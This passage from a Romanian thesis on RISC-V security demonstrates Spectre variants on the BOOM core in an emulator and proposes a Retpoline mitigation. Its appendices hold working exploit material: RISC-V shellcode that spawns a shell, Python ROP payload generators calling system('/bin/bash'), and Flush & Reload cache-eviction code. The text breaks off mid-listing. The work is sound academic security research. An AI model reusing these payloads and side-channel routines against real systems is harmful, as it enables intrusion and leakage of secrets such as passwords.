Această variantă presupune o violare a memoriei bazată pe antrenarea intent, ionat gres, ită
a predictorului de branch-uri. Mai precis, în cazul unei ramificat, ii a cărei condit, ie include
o valoare indicată de utilizator, atacatorul poate oferi de mai multe ori valori care să an-
treneze predictorul să aleagă opt, iunea de taken, adică intrarea pe ramură. În momentul în
care ulterior utilizatorul va furniza o valoare pentru care intrarea nu ar trebui să mai aibă
loc, predictorul va face totus, i aceeas, i alegere. În cazul în care în cadrul acestei ferestre de
speculat, ie se realizează o accesare dintr-o zonă de memorie nepermisă, informat, ia va putea
fi regăsită în memoria cache. După cum am discutat anterior, memoria nu va fi curăt,ată,
iar atacatorul va putea avea acces la informat, ie folosind tehnica din subcapitolul precedent.

1 if (idx < array1_sz ){
2 dummy = array2 [ array1 [idx] * L1_BLOCK_SZ_BYTES ];
3 }

Cod 5.2: Exploatarea salturilor ramificate

Să considerăm, de exemplu, secvent,a de cod 5.2. Pentru a se asigura accesul corect în memo-
rie se verifică dimensiunea indexului care nu ar trebui să depăs,ească dimensiunea vectorului
array1. Totus, i, profitând de speculat, ie s, i urmând pas, ii amintit, i anterior, va putea fi dedusă
o valoare dintr-o zonă de memorie dorită. În cazul de fat,ă, vom considera că este cunoscută
distant,a dintre adresa de început a unei parole s, i array1. În momentul în care accesarea
se va realiza folosind acest indice, se va aduce în memoria cache valoarea din array2 cores-
punzătoare codului ASCII al primului caracter din parolă (array2 este declarat având chiar
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256 * L1_BLOCK_SZ_BYTES elemente). Folosind tehnica Flush & Reload, atacatorul poate
descoperi al câtelea element se află în cache, deci poate afla codul ASCII s, i implicit primul
caracter. Aplicând iterativ acest procedeu poate fi obt, inută întreaga parolă.

Un mod în care ne-am putea raporta la acest atac este folosind două procese dintre care
unul malit, ios. Modul în care se face simularea totus, i, nu implică prezent,a unui sistem de
operare. Rularea folosind Verilator face imposibilă încărcarea unui proces atât de complex.
În mod natural, utilizarea de hardware s, i încărcarea unei imagini, ar conduce la posibilita-
tea realizării experimentului într-un cadru similar celui descris init, ial pe arhitecturile x86 s, i
ARM. Însă pentru demonstrarea ideilor din cadrul acestei lucrări, este suficientă folosirea
unui singur executabil în care se va face progresiv schimbul fictiv între cele două procese.
Astfel, vom considera că atacatorul va rula secvent,a de cod 5.2 de un număr de 40 de ori, ales
empiric, folosindu-se de indecs, i valizi. Victima va încerca apoi să ruleze folosind un index
mai mare decât marginea superioară a vectorului. Execut, ia speculativă va face ca accesarea
să aibă loc în continuare.

Pentru discriminarea între faza de antrenare s, i cea de atac, indecs, ii de acces în memo-
rie (cei de antrenare s, i cel malit, ios) vor fi ales, i prin operat, ii logice pentru a nu influent,a
predict, ia. Ulterior pentru a exista o sincronizare cu Branch Predictor-ul se va executa un
ciclu de 100 de iterat, ii în care nu se va executa nimic, va fi folosit doar pentru completarea
cu intrări de tipul taken care indică intrarea pe ramură. De asemenea, aflarea dimensiunii
vectorului array1 va fi întârziată prin execut, ia unor instruct, iuni de tip fdiv 5.3. În cele din
urmă dimensiunea vectorului depozitată în a5 va avea exact aceeas, i valoare. Este nevoie de
acest pas suplimentar pentru că în cazul acestei configurat, ii, memoria cache utilizată este L1
care este non-blocking (o lipsă a informat, iei din cache nu produce o întârziere, funct, ionând
precum un pipeline) s, i o memorie externă setată cu latent,ă L2. Astfel, latent,a pentru orice
aducere din memorie este redusă doar la cea a lui L2 s, i este nevoie de un timp suplimentar
pentru crearea unei ferestre de speculat, ie potrivite care să permită aflarea unor informat, ii
esent, iale.

1 addi a5 , a5 , -2
2 addi t1 , zero , 2
3 slli t2 , t1 , 0x4
4 fcvt.s.lu fa4 , t1
5 fcvt.s.lu fa5 , t2
6 fdiv.s fa5 , fa5 , fa4
7 fdiv.s fa5 , fa5 , fa4
8 fdiv.s fa5 , fa5 , fa4
9 fdiv.s fa5 , fa5 , fa4

10 fcvt.lu.s t2 , fa5 , rtz
11 add a5 , a5 , t2

Cod 5.3: Cres,terea ferestrei de speculat,ie
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Ulterior acestor pas, i, atacatorul poate aplica tehnica Flush & Reload s, i descoperi, as,a cum
am amintit anterior, literele din parolă. Din nou, pentru a cres,te nivelul de încredere pe
fiecare caracter se va executa acelas, i atac de un număr de 10 ori. Codul atacului este
prezentat în anexa D, pentru următoarele variante fiind indicate doar modificările ce trebuie
aplicate. Ilustrarea atacului este prezentată în figura 5.6

Figura 5.6: Ilustrarea atacului Conditional Branch

5.3.3 Execut, ia speculativă în cazul salturilor indirecte

Această variantă de atac a fost implementată pentru prima dată pe procesoare cu arhitectură
x86 s, i ARM [24], autorii numind acest tip de atac Spectre v2. Ulterior a fost reprodus pe
BOOM de aceeas, i cercetători ce au reprodus s, i prima variantă [20].

Acestă variantă presupune o execut, ie speculativă a unei bucăt, i de cod ce nu ar apărea
în fluxul normal al programului. Ca în cazul tehnicii ROP, atacatorul trebuie să localizeze
un gadget care odată executat ar putea aduce informat, ii la care altfel nu ar putea avea
acces. O astfel de redirectare a execut, iei se poate realiza în cazul unor salturi indirecte
atunci când adresa nu este încă depozitată în registru. Predict, ia adresei se va baza în cazul
acesta pe BTB care poate fi antrenat să indice către bucata de cod dorită de atacator. În
mod similar, dacă respectivul gadget va produce o modificare a memoriei cache, revenirea în
starea procedurală anterioară speculat, iei nu va realiza s, i o curăt,are a acestui tip de memorie.

Astfel, într-o fază init, ială atacatorul va executa un număr de salturi indirecte către bu-
cata de cod dorită s, i în plus va goli memoria cache. În momentul în care victima va realiza
un salt la o adresă dintr-un registru, adresa prezisă va fi tot cea a gadget-ului dorit de ataca-
tor care aduce o informat, ie neautorizată în cache. După aflarea adresei corecte s, i revenirea
în starea init, ială, informat, ia este în continuare în memorie, iar atacatorul poate folosi al
doilea pas din atacul Flush & Reload pentru a descoperi ce a accesat procesul victimă.

Ca s, i în sect, iunea anterioară, neavând un sistem de operare, nu vor exista două procese
care să ruleze pe acelas, i nucleu. În schimb, acest tip de comportament va fi mimat dintr-un
singur executabil. Atacatorul va executa saltul indirect către gadget-ul dorit de un număr de
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40 de ori. Următoarea dată când victima va încerca să realizeze un salt într-o zonă dorită,
speculativ se va executa aceeas, i bucată de cod utilizată anterior. Similar, indecs, ii de acces
în memorie s, i adresa de salt vor fi ales, i prin operat, ii logice. Ciclul de 100 de iterat, ii va fi
din nou introdus pentru indicarea existent,ei saltului. De asemenea, se vă păstra cres,terea
ferestrei de speculat, ie folosind instruct, iuni de tip fdiv, de data aceasta amânându-se aflarea
adresei de salt.

Cele două gadget-uri alese sunt prezentate în anexa E. Cel dorit de atacator reprezintă de
fapt doar codul în asamblare a celui prezentat pentru prima variantă, efectuând o operat, ie
de încărcare din memorie. Indexul de data aceasta este global. În mod similar, victima
primes,te un index mai mare s, i dores,te să facă un salt la o bucată de cod inofensivă în care
se execută doar o instruct, iune nop. În schimb, datorită antrenării, în cache va fi depusă
valoarea regăsită la adresa indicată prin index, adică o literă din parolă.

Atacatorul poate reveni apoi s, i descoperi respectivul caracter. Repetând atacul de un număr
de ori egal cu dimensiunea parolei s, i crescând indexul cu o unitate de fiecare dată, poate
descoperi întreg s, irul. Evident, este nevoie din nou ca adresa de început a parolei să fie
cunoscută de atacator.

Figura 5.7: Ilustrarea atacului Indirect Branch pentru bucăt,i de cod

În cazul de fat,ă s-au folosit simple bucăt, i de cod pentru ilustrarea atacului, situat, ie regăsită
cel mai adesea în cazul switch-urilor. Atacul are acelas, i efect s, i în cazul saltului indirect
la o funct, ie, cum se întâmplă de exemplu pentru apelurile de funct, ii virtuale. Modificarea
gadget-urilor în funct, ii este prezentată tot în anexa E. S-a făcut această diferent, iere întrucât
în subcapitolul 5.3.5 vor exista două modalităt, i distincte de corectare. Prezentarea acestei
solut, ii se va realiza după ilustrarea variantei 5 de Spectre care se aplică în cazul apelurilor
de funct, ii. Ilustrarea atacului aplicat în cazul saltului la funct, ii este prezentat în figura 5.8.
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Figura 5.8: Ilustrarea atacului Indirect Branch pentru funct,ii

5.3.4 Execut, ia speculativă în cazul apelurilor de funct, ii

Această variantă de atac a fost implementată pentru prima dată pe procesoare Intel x86 [25],
autorii numind acest tip de atac Spectre v5. Ulterior a fost reprodus pe BOOM de aceeas, i
cercetători ce au reprodus celelalte două variante anterioare [20].

În cadrul acestui atac, speculat, ia constă în executarea instruct, iunilor ce sunt succesoare
ale unei instruct, iuni de tip call. Vulnerabilitatea se bazează pe prezent,a predictorului
RSB (Return Stack Buffer) care este o stivă hardware în care se memorează cea mai
probabilă adresă de retur dintr-o funct, ie s, i anume adresa instruct, iunii ce urmează după
call. Speculativ apoi pentru a nu a se as,tepta calculul adresei reale de retur, se face saltul
la această adresă din vârful lui RSB. Evident dacă registrul ra este modificat pe parcursul
funct, iei, câteva instruct, iuni vor fi executate s, i similar dacă acestea produc modificări ale
memoriei cache, modificările vor fi vizibile s, i după aflarea adresei corecte de întoarcere.

În cazul acesta atacatorul nu mai este nevoit să realizeze nicio antrenare anterioară întrucât
comportamentul descris este prezent în orice situat, ie. Tot ce are de făcut este să golească
memoria cache, să permită victimei să folosească codul în care se apelează o astfel de funct, ie
care modifică valoarea lui ra, iar la final să realizeze măsurătorile pentru a stabili care sunt
literele din parola. Astfel prin apelul funct, iei prezentate mai jos ce primes,te ca argumente
adresa fiecărei litere din parolă, se va aduce în memoria cache pe rând litera în sine din
parolă, des, i funct, ia frameDump modifică adresa de retur astfel încât execut, ia să revină direct
în main s, i nu înapoi în specFunc.

1 void specFunc (char *addr ){
2 extern void frameDump ();
3 uint64_t dummy = 0;
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4 frameDump ();
5 char secret = *addr;
6 dummy = array[ secret * L1_BLOCK_SZ_BYTES ];
7 dummy = rdcycle ();
8 }

Cod 5.4: Corpul funct,iei în care are loc speculat,ia

În plus, fat,ă de un caz real, în main este adăugată o instruct, iune ld pentru reglarea valorii lui
fp s, i pentru a nu strica stiva. Des, i în mod normal nu ne-ar interesa care este comportamen-
tul ulterior atacului în cazul procesului victimă, ilustrarea curentă face necesară existent,a
unei continuităt, i.

De asemenea, similar celor prezentate anterior, se vor folosi instruct, iuni de tip fdiv îna-
inte de calcularea adresei noi de retur pentru a mări fereastra de speculat, ie. O ilustrare a
atacului după o repetare a pas, ilor de 10 ori este prezentată în figura 5.9.

Figura 5.9: Ilustrarea atacului Return Stack Buffer

5.3.5 Mitigarea atacului Spectre v2

De-a lungul timpului pentru alte arhitecturi au fost propuse diverse modalităt, i de mitigare a
atacului. Cele mai multe solut, ii vizează arhitecturile init, iale pe care a fost descoperit atacul
s, i anume x86 s, i ARM, acestea fiind principalele arhitecturi speculative existente.

În cazul x86, lista de posibile mitigări este destul de lungă. O primă solut, ie este oferită
prin implementarea unui mecanism de control al salturilor indirecte denumit IBRS (Indi-
rect Branch Restricted Speculation). Acesta restrict, ionează folosirea predictorului de
la nivele de privilegii joase către nivele mai înalte. Astfel, prin setarea unui bit specific, tot
istoricul dictat prin antrenarea la nivelul unui proces al utilizatorului, va fi uitat când se trece
în kernel. Un mecanism similar, numit STIBP (Single Thread Indirect Branch Predic-
tor) este implementat s, i pentru thread-uri, predict, iile dintr-un fir de execut, ie neinfluent,ând
predict, iile de pe un altul.
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O altă solut, ie este denumită IBPB (Indirect Branch Prediction Barrier) s, i este consi-
derată de AMD, de exemplu, solut, ia optimă pentru minimizarea efectelor atacului Spectre
v2 raportat la ment, inerea unei performant,e cât mai crescute. Aceasta presupune inserarea
unei bariere care va curăt,a istoricul, neluându-se în calcul predict, iile realizate înainte de
barieră. Astfel, la o schimbare de context, antrenarea realizată de un proces malit, ios devine
inutilă. Acest procedeu poate fi folosit s, i în cazul atacului dintre două procese de la acelas, i
nivel.

De asemenea, există s, i un apel de sistem prctl care permite dezactivarea totală a speculat, iei
pentru procesul în curs. Performant,a este redusă semnificativ, dar aceasta este cea mai facilă
modalitate de protejare a procesului de către el însus, i.

În plus, numeroase proiecte de cercetare au fost dedicate descoperirii de solut, ii pentru mi-
tigarea Spectre. În continuare vor fi amintite câteva dintre acestea. InvisiSpec [40] pro-
pune utilizarea unui buffer pentru înlocuirea memoriei cache în cazul valorilor încărcate prin
instruct, iuni nesigure. În momentul aflării căii corecte, datele vor fi preluate din acest buffer.
CSF (Context-Sensitive Fencing) [35] presupune inserarea unei instruct, iuni speciale
similară unei bariere în momentul decodării opcode-ului dacă a fost decisă prin analiză dina-
mică necesitatea realizării unei astfel de modificări. STT (Speculative Taint Tracking)
selectează acele instruct, iuni de încărcare vulnerabile, venite din accese realizate speculativ
s, i nu le execută decât în momentul în care devin sigure.

În cazul arhitecturii ARM, există de asemenea mitigări realizate atât în kernel, cât s, i în
firmware, însă nu există prea multe detalii despre modul de implementare al acestora.

În cazul MIPS, care det, ine câteva procesoare speculative, solut, iile propuse sunt dezacti-
varea, respectiv folosirea de bariere într-o manieră similară celei prezentate anterior pentru
x86.

Revenind la RISC-V, principalul articol despre posibilele solut, ii de mitigare pe BOOM a
fost prezentat în cadrul workshop-ului CARRV (Computer Architecture Research
with RISC-V) din iunie 2021 [32]. Acesta combină beneficiile solut, iilor CSF s, i STT. Des, i
CSF nu poate fi utilizat întrucât arhitectura BOOM nu permite inserarea de instruct, iuni
noi, această idee este aplicată diferit. Când este descoperită o instruct, iune de încărcare de
la o adresă dedusă speculativ, este activată blocarea memoriei de date. Astfel, este dezacti-
vată s, i utilizarea speculativă a memoriei cache, informat, iile fiind aduse în memorie abia în
momentul finalizării speculat, iei.

Totus, i în prezentarea mitigărilor pe x86, a fost omisă cea principală, utilizată în toate scena-
riile descrise anterior, denumită Retpoline [37]. Aceasta este o solut, ie care se poate aplica
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din cod s, i ca un flag la compilare, fiind indicată spre a fi folosită atât la compilarea kernel-
ului, cât s, i la compilarea oricărui cod scris de utilizator.

Din cunos,tint,ele mele s, i bazat pe un răspuns oferit de cercetătorii de la ARM [9], această
mitigare nu a fost până acum portată pe o arhitectură de tip RISC. În cele ce urmează va fi
descris principiul de funct, ionare s, i modul de implementare al acestei solut, ii pe BOOM.

În mod ironic, solut, ia se bazează pe aplicarea atacului Spectre v5, profitându-se de faptul
că adresa de întoarcere din funct, ie este prezisă întotdeauna ca fiind instruct, iunea următoare
de după apel. Numai că adresa de întoarcere poate fi modificată în cadrul funct, iei, iar saltul
să fie redirectat astfel exact către zona dorită. Fereastra de speculat, ie va prinsă în tot acest
timp într-un ciclu, într-o salt continuu la instruct, iunea de salt în sine, ca pe o trambulină.
De aici s, i numele mitigării - ret de la adresa de retur s, i poline - sufixul de la trampoline.

Să analizăm în cele ce urmează codul pe arhitectura x86 pentru a înt,elege dificultatea care
apare pe RISC-V s, i, în general, pe orice arhitectură de tip RISC.

Figura 5.10: Retpoline pe x86 [37]

Să presupunem că se realizează un salt indirect la adresa din registrul r11. Această construct, ie
va fi înlocuită cu apelul funct, iei set_up_target. As,a cum spuneam, Spectre v5 va face ca
speculat, ia să se realizez începând cu instruct, iunea de după apel. În schimb, în acea zonă
de cod, execut, ia este prinsă într-un ciclu infinit, iar speculat, ia nu aduce nicio informat, ie
suplimentară. Pe de cealaltă parte, continuarea execut, iei are loc în funct, ia set_up_target,
unde adresa din registrul r11 este adăugată în vârful stivei. Pe x86, instruct, iunea de retur
va realiza saltul chiar la ultima adresă adăugată pe stivă, mimând astfel saltul indirect la
adresa dorită.

Din păcate această convent, ie de apel nu se realizează s, i pe arhitecturile RISC, iar adresa de
întoarcere este dictată de ceea ce se găses,te în registrul ra care poate fi restaurat înainte de
retur dacă saltul indirect vizează o funct, ie. În acelas, i timp, saltul indirect poate apărea s, i în
cazul switch-urilor, adresa reprezentând o simplă bucată de cod, un gadget care nu realizează
restaurări de regis,trii. De la început deci apare o diferent,ă de abordare a problemei pe cazuri.
Evident distinct, ia poate fi realizată us,or de compilator în momentul în care decide emiterea
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unei instruct, iuni de salt indirect întrucât contextul îi este unul cunoscut. În scrierea directă
de cod în asamblare, lucrurile sunt s, i mai simple, programatorul putând scrie direct codul
necesar.

Să considerăm as,adar primul caz în care adresa de salt este cea a unei simple bucăt, i de
cod, de altfel cazul descris în subsect, iunea 5.3.3. Gadget-urile s, i codul din sursa principală
vor rămâne aceleas, i. Singura modificare va fi dictată de înlocuirea saltului indirect cu un
cod similar celui de mai sus scris în limbaj de asamblare RISC-V.

1 jr a5

1 jal set_up_target
2 capture_spec : j capture_spec
3 set_up_target : addi ra , a5 , 0
4 jr ra

Figura 5.11: Transformarea salturilor indirecte - primul caz

Analizând transformarea prezentată în figura 5.11, observăm că pe acest caz codul este doar
o traducere exactă a celui descris pentru asamblarea x86. Acest lucru a fost posibil datorită
faptului că în cazul unui salt la bucăt, i de cod, valorile regis,trilor nu sunt salvate pe stivă
s, i restaurate. Pentru cazul unei funct, ii lucrurile sunt put, in mai complicate s, i necesită câ-
teva modificări suplimentare. O ilustrare a aplicării mitigării este prezentată în figura 5.12.
După cum este realizat codul, de fiecare dată este ghicit caracterul cu codul ASCII 0 care nu
este un caracter printabil. Astfel, după cum se poate observa nu este afis,at nimic în consolă.

Figura 5.12: Ilustrarea mitigării pentru primul caz

Pentru varianta a doua, în cazul funct, iilor, prima modificare este legată de modul în care
unele compilatoare generează cod pentru salvări s, i restaurări. Aplicând o optimizare, spat, iul
de pe stivă este crescut în mod uzual încă de la început pentru a face spat, iu pentru salvarea
tuturor regis,trilor callee-saved. De exemplu, dacă regis,trii s1 s, i s2 sunt folosit, i pe parcursul
funct, iei, ei trebuie să fie salvat, i la intrarea în aceasta. Luând în considerare s, i spat, iul alocat
pentru salvarea lui fp s, i ra, sp va trebui să fie scăzut cu 32. Un cod care reflectă această
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ipoteză este prezentat mai jos. Pentru aplicarea mitigării vom impune ca modul de generare
să fie put, in modificat astfel încât alocarea de spat, iu pentru regis,trii fp s, i ra să fie separată
de alocarea pentru alt, i regis,tri. Această schimbare este prezentată în figura 5.13. Rescrie-
rea este realizată direct în fis, ierul cu funct, ii prezentat în anexa E întrucât funct, iile nu sunt
generate de un compilator s, i sunt scrise direct în limbaj de asamblare.

1 addi sp , sp , -32
2 sw ra , 24( sp)
3 sw fp , 16( sp)
4 addi fp , sp , 16
5 sw s1 , 8(sp)
6 sw s2 , 0(sp)

1 addi sp , sp , -16
2 sw ra , 8(sp)
3 sw fp , 0(sp)
4 addi fp , sp , 0
5 addi sp , sp , -16
6 sw s1 , 8(sp)
7 sw s2 , 0(sp)

Figura 5.13: Schimbarea modalităt,ii de salvare a regis,trilor

Odată realizată această rescriere a funct, iilor, solut, ia de evitare a atacului vine din perce-
perea funct, iilor ca bucăt, i de cod al căror incipit am vrea să poată fi controlabil pentru a
realiza o salvare a unei adrese dorite de noi. Astfel, în loc ca saltul indirect să se realizeze
la începutul funct, iei vom sări direct după salvarea registrului ra, iar acesta va fi controlat
din funct, ia set_up_target. Pentru simplitate, va fi prezentat întâi codul de transformare
în figura 5.14 s, i apoi va fi urmat de explicat, ii.

1 jalr a5

1 jal set_up_target
2 capture_spec : j capture_spec
3 set_up_target : addi ra , a5 , 4
4 addi sp , sp , -16
5 la a5 , end
6 sd a5 , 8(sp)
7 jr ra
8 end:

Figura 5.14: Transformarea salturilor indirecte - cazul al doilea

Capturarea speculat, iei este realizată într-o manieră similară, prin folosirea lui Spectre v5 s, i
blocarea într-un ciclu infinit. În funct, ia improvizată set_up_target, pentru a se mima saltul
indirect prin întoarcerea din această funct, ie, registrul ra va lua valoarea adresei de început
a funct, iei la care se adună 4 pentru saltul peste primele două instruct, iuni. O instruct, iune
uzuală este pe 4 octet, i, dar folosindu-se extensia de comprimare, instruct, iunile addi s, i sw
vor fi scrise doar pe 2 octet, i. Pentru realizarea corectă a acestui cadru de apel, instruct, iunea
de scădere a lui sp se va adăuga în set_up_target. În plus, toate aceste modificări au fost
realizate tocmai pentru a putea controla valoarea care va fi restaurată în ra s, i care ne dorim
să fie instruct, iunea următoare de după funct, ia curentă de înlocuire a saltului indirect. Deci,
valoarea pe care o vom depozita pe stivă pentru restaurare va fi exact această adresă. Pentru
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us,urint,ă este adăugată o etichetă fix după ultima instruct, iune astfel încât să nu fie necesar
un calcul al adreselor s, i să fie stocată pe stivă exact adresa acestei etichete.

As,adar, în loc de saltul indirect către o funct, ie se va realiza un salt în funct, ia set_up_target
care are ca adresă de retur adresa funct, iei la care se efectua saltul la care se adaugă patru
pentru a se sări peste primele două instruct, iuni - cea de cres,tere a stivei s, i cea de stocare a lui
ra. Speculat, ia este prinsă pe aceeas, i "trambulină". Mai departe, în funct, ia set_up_target
sunt recreate cele două instruct, iuni eliminate, cu ment, iunea ca valoarea lui ra va fi cea a
instruct, iunii următoare saltului indirect. Dacă aceste schimbări nu ar fi avut loc, valoarea
restaurată ar fi fost cea cu care se intra init, ial în funct, ie, cea din set_up_target, adică fix
adresa funct, iei. Atunci programul ar fi intrat într-un ciclu infinit.

Ilustrarea mitigării atacului este prezentată în figura 5.15.

Figura 5.15: Ilustrarea mitigării pentru cel de-al doilea caz

O posibilă temă de cercetare ar fi reprezentată de modul în care această mitigare influent,ează
performant,a. Acest lucru nu a putut fi investigat întrucât atacurile au fost realizate pe un
emulator s, i nu pe hardware real. Experient,a implementării pe x86 s, i abordarea acestei solut, ii
de principalii utilizatori aduc un argument important în favoarea utilizării Retpoline s, i pe
RISC-V.
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Capitolul 6

Concluzii

După cum s-a ment, ionat init, ial RISC-V este considerată a fi una dintre cele mai sigure
arhitecturi existente s, i apare după mult, i ani de stagnare ca o solut, ie pentru înlocuirea ar-
hitecturilor vechi. Generalitatea sa s, i modul în care este concepută fac ca RISC-V să evite
majoritatea problemelor descoperite pe arhitecturile clasice.

Cu toate acestea, în această lucrare au fost prezentate câteva vulnerabilităt, i de limbaj care
pot fi încă reproduse. Des, i într-un context mai dificil de recreat, acesta nu este unul impo-
sibil, în special în această perioadă în care arhitectura nu a ajuns la o maturitate în care
solut, iile descoperite pentru arhitecturile vechi să fie portate pe RISC-V.

Au fost prezentate atacuri clasice precum buffer overflow s, i ROP s, i a fost realizat un scurt
sumar al tehnicilor de mitigare cunoscute. În plus, au fost ilustrate solut, ii existente pe ar-
hitecturile vechi ce pot fi implementate pe viitor s, i în cadrul RISC-V.

De asemenea, această arhitectură a fost abordată s, i dintr-un unghi diferit, ca un proiect
de cercetare în care se caută atingerea performant,elor la toate nivelurile, de la sisteme sim-
ple până la unele extrem de complexe, prin dezvoltarea de nuclee adaptate la cerint,ele vremii.
Un astfel de nucleu este BOOM prezentat cu principala sa vulnerabilitate ce a permis ilus-
trarea unuia dintre cele mai de impact atacuri din ultima perioadă - Spectre. Prezentat în
trei dintre versiunile existente, axarea s-a realizat pe cazul salturilor indirecte.

În acest context, principala contribut, ie a lucrării a fost oferirea unei solut, ii de mitigare
a acestei versiuni prin rescrierea convenabilă de cod s, i diferent, ierea ce ar trebui percepută
pentru aplicarea solut, iei la nivelul compilatorului. Ca muncă viitoare, evident, o aplicat, ie
importantă este reprezentată tocmai de adăugarea unei opt, iuni pentru generarea de cod în
această manieră sigură.

În concluzie, aflată încă la început de drum s, i cu multe oportunităt, i de dezvoltare, utili-
zată atât în industrie, cât s, i în proiecte de cercetare, RISC-V poate fi una dinte cele mai
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sigure arhitecturi. Este însă nevoie de o cons,tientizare a riscurilor încă existente, diminuate
totus, i considerabil fat,ă de arhitecturile consacrate. Aceste riscuri au fost prezentate part, ial
în cadrul acestei lucrări, fiind însot, ite de solut, ii viabile deja cunoscute sau propuse pentru
prima dată precum în cazul Spectre v2.
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Anexa A

Buffer overflow

1 0x000100 b0 0111 addi sp , sp , -32 ; [01] -r-x
2 ; section
3 ; size 70
4 ; named .text
5 0x000100 b2 06ec sd ra , 24( sp)
6 0x000100 b4 22e8 sd s0 , 16( sp)
7 0x000100 b6 0010 addi s0 , sp , 32
8 0x000100 b8 b767696e lui a5 , 0x6 e696
9 0x000100 bc 9 b87f722 addiw a5 , a5 , 559 ; arg6

10 0x000100 c0 2320 f4fe sw a5 , -32(s0) ; arg6
11 0x000100 c4 b7676173 lui a5 , 0x73616
12 0x000100 c8 9 b87f722 addiw a5 , a5 , 559 ; arg6
13 0x000100 cc 2322 f4fe sw a5 , -28(s0) ; arg6
14 0x000100 d0 93078006 li a5 , 104
15 0x000100 d4 2324 f4fe sw a5 , -24(s0)
16 0x000100 d8 930704 fe addi a5 , s0 , -32
17 0x000100 dc 0146 li a2 , 0
18 0x000100 de 8145 li a1 , 0
19 0x000100 e0 3e85 mv a0 , a5
20 0x000100 e2 9308 d00d li a7 , 221
21 0x000100 e6 73000000 ecall
22 0x000100 ea 8147 li a5 , 0
23 0x000100 ec 3e85 mv a0 , a5
24 0x000100 ee e260 ld ra , 24( sp)
25 0x000100 f0 4264 ld s0 , 16( sp)
26 0x000100 f2 0561 addi sp , sp , 32
27 0x000100 f4 8280 ret

Cod A.1: Varianta init,ială
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1 0x000100 b0 0111 addi sp , sp , -32 ; [01] -r-x
2 ; section size 82
3 ; named .text
4 0x000100 b2 06ec sd ra , 24( sp)
5 0x000100 b4 22e8 sd s0 , 16( sp)
6 0x000100 b6 4010 addi s0 , sp , 36
7 0x000100 b8 b767696e lui a5 , 0x6 e696
8 0x000100 bc 9 b87f722 addiw a5 , a5 , 559 ; arg6
9 0x000100 c0 232 af4fc sw a5 , -44(s0) ; arg6

10 0x000100 c4 b7676173 lui a5 , 0x73616
11 0x000100 c8 9 b87f722 addiw a5 , a5 , 559 ; arg6
12 0x000100 cc 232 cf4fc sw a5 , -40(s0) ; arg6
13 0x000100 d0 93078006 li a5 , 104
14 0x000100 d4 232 ef4fc sw a5 , -36(s0)
15 0x000100 d8 930744 fd addi a5 , s0 , -44
16 0x000100 dc 0146 li a2 , 0
17 0x000100 de 8145 li a1 , 0
18 0x000100 e0 3e85 mv a0 , a5
19 0x000100 e2 9308 d00d li a7 , 221
20 0x000100 e6 93073007 li a5 , 115
21 0x000100 ea 2308 f1f0 sb a5 , -240( sp)
22 0x000100 ee 9307 c1ee addi a5 , sp , -276
23 0x000100 f2 67804702 jr 36( a5)

Cod A.2: Varianta finală după înlocuirea instruct,iunilor ce cont,in \x00 s,i \x20
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Anexa B

ROP

1 import struct
2
3 def p64(addr ):
4 return struct .pack("<Q", addr)
5
6 buf_addr = 0 x3ffffff8b8
7 libc_base = 0 x3ff7ea3000
8 system_addr = libc_base + 0 x3d80c
9 rop_gadget = libc_base + 0 x576b6

10 bin_sh_addr = buf_addr + 168
11
12 exploit = ’A’*120 + ’B’*8 + p64( rop_gadget )
13 exploit += ’C’*8 + p64( bin_sh_addr ) + ’D’*8
14 exploit += p64( system_addr ) + "/bin/bash\x00"
15
16 with open(" exploit ", "w") as f:
17 f.write( exploit )

Cod B.1: Generarea fis,ierului exploit din care se realizează citirea pentru primul atac
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1 import struct
2
3 def p64(addr ):
4 return struct .pack("<Q", addr)
5
6
7 system_addr = 0 x10530
8 rop_gadget = 0 x106c4
9 buf_glob = 0 x12090

10
11 exploit = ’A’*120 + ’B’*8 + p64( rop_gadget )
12 exploit += ’C’*136 + p64( buf_glob ) + ’D’*8
13 exploit += p64( system_addr )
14
15 with open(" exploit2 ", "w") as f:
16 f.write( exploit )

Cod B.2: Generarea fis,ierului exploit2 din care se realizează citirea pentru al doilea atac
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Anexa C

Flush & Reload

1 # define L1_SETS 64 // numar seturi
2 # define L1_SET_BITS 6
3 # define L1_WAYS 4 // 4-way set associative cache
4 # define L1_BLOCK_SZ_BYTES 64 // dimensiune blocuri
5 # define L1_BLOCK_BITS 6
6 # define L1_SZ_BYTES ( L1_SETS * L1_WAYS * L1_BLOCK_SZ_BYTES ) // dimensiune cache
7 # define FULL_MASK 0 xFFFFFFFFFFFFFFFF
8 # define OFF_MASK (~( FULL_MASK << L1_BLOCK_BITS ))
9 # define TAG_MASK ( FULL_MASK << ( L1_SET_BITS + L1_BLOCK_BITS ))

10 # define SET_MASK (~( TAG_MASK | OFF_MASK ))
11
12 /* ----------------------------------
13 * | Cache address |
14 * ----------------------------------
15 * | tag | idx | offset |
16 * ----------------------------------
17 * | 63 <-> 12 | 11 <-> 6 | 5 <-> 0 |
18 * ----------------------------------
19 */
20
21 // folosit pentru evacuarea memoriei cache
22 uint8_t dummyMem [5 * L1_SZ_BYTES ];
23
24 // numarul de seturi ce trebuie curatat
25 uint64_t numSetsClear = sz >> L1_BLOCK_BITS ;
26 if ((sz & OFF_MASK ) != 0){
27 // setul in care se afla ultimul offset
28 numSetsClear += 1;
29 }
30 if ( numSetsClear > L1_SETS ){
31 // curata intreaga memorie cache
32 numSetsClear = L1_SETS ;
33 }
34
35 uint8_t dummy = 0;
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36
37 // adresa de memorie mapata la baza cache -ului (idx = 0, offset = 0)
38 uint64_t alignedMem = ((( uint64_t )& dummyMem ) + L1_SZ_BYTES ) & TAG_MASK ;
39
40 for ( uint64_t i = 0; i < numSetsClear ; ++i){
41 // offset -ul pentru traversarea tuturor seturilor
42 uint64_t setOffset = ((( addr & SET_MASK ) >> L1_BLOCK_BITS ) + i)
43 << L1_BLOCK_BITS ;
44
45 // evacuarea intregului set
46 for( uint64_t j = 0; j < 4* L1_WAYS ; ++j){
47 // offset pentru reaccesarea setului
48 uint64_t wayOffset = j << ( L1_BLOCK_BITS + L1_SET_BITS );
49
50 // evacuarea blocului de memorie precedent
51 dummy = *(( uint8_t *)( alignedMem + setOffset + wayOffset ));
52 }
53 }
54 }

Cod C.1: Evacuarea seturilor corespunzătoare pentru o zonă de memorie existentă în cache
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1 // flush_reload .c
2 # include <stdio.h>
3 # include <stdint .h>
4 # include " encoding .h"
5 # include "cache.h"
6
7 # define ATTACK_SAME_ROUNDS 10
8 # define CACHE_HIT_THRESHOLD 50
9

10 uint8_t array2 [256 * L1_BLOCK_SZ_BYTES ];
11
12 int main(void ){
13
14 static uint64_t results [256];
15 uint64_t start , diff;
16
17 for( uint64_t cIdx = 0; cIdx < 256; ++ cIdx)
